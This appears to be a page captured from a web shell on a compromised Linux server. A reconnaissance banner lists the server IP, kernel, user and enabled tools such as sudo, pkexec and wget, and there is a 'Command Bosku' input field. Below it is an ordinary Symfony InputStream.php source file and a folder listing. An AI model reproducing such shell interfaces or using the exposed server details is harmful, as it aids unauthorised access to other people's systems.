Na}{

Server IP: 85.198.82.39

Your IP: 216.73.216.129

Web Server: Apache/2.4.52 (Ubuntu)

System: Linux 5474007-topit 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

User: www-data

PHP Version: 8.3.30

Disable Function: NONE

MySQL: OFF

cURL: ON

WGET: ON

Perl: ON

Python: ON

Sudo: ON

Pkexec: ON

File Content: `InputStream.php`

<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Process;

use Symfony\Component\Process\Exception\RuntimeException;

/**
 * Provides a way to continuously write to the input of a Process until the InputStream is closed.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 *
 * @implements \IteratorAggregate<int, string>
 */
class InputStream implements \IteratorAggregate
{
    private ?\Closure $onEmpty = null;
    private array $input = [];
    private bool $open = true;

    /**
     * Sets a callback that is called when the write buffer becomes empty.
     */
    public function onEmpty(?callable $onEmpty = null): void
    {
        $this->onEmpty = null !== $onEmpty ? $onEmpty(...) : null;
    }

    /**
     * Appends an input to the write buffer.
     *
     * @param resource|string|int|float|bool|\Traversable|null $input The input to append as scalar,
     *                                                                stream resource or \Traversable
     */
    public function write(mixed $input): void
    {
        if (null === $input) {
            return;
        }
        if ($this->isClosed()) {
            throw new RuntimeException(\sprintf('"%s" is closed.', static::class));
        }
        $this->input[] = ProcessUtils::validateInput(__METHOD__, $input);
    }

    /**
     * Closes the write buffer.
     */
    public function close(): void
    {
        $this->open = false;
    }

    /**
     * Tells whether the write buffer is closed or not.
     */
    public function isClosed(): bool
    {
        return !$this->open;
    }

    public function getIterator(): \Traversable
    {
        $this->open = true;

        while ($this->open || $this->input) {
            if (!$this->input) {
                yield '';
                continue;
            }
            $current = array_shift($this->input);

            if ($current instanceof \Iterator) {
                yield from $current;
            } else {
                yield $current;
            }
            if (!$this->input && $this->open && null !== $onEmpty = $this->onEmpty) {
                $this->write($onEmpty($this));
            }
        }
    }
}

Name	Size	Permission
Exception	---	0755
Messenger	---	0755
Pipes	---	0755
CHANGELOG.md	4446 bytes	0644
ExecutableFinder.php	3575 bytes	0644
InputStream.php	2385 bytes	0644
LICENSE	1068 bytes	0644
PhpExecutableFinder.php	2474 bytes	0644
PhpProcess.php	2497 bytes	0644
PhpSubprocess.php	6146 bytes	0644
Process.php	56134 bytes	0644
ProcessUtils.php	1753 bytes	0644
README.md	472 bytes	0644
composer.json	671 bytes	0644

Command Bosku:

File Content: InputStream.php

File Content: `InputStream.php`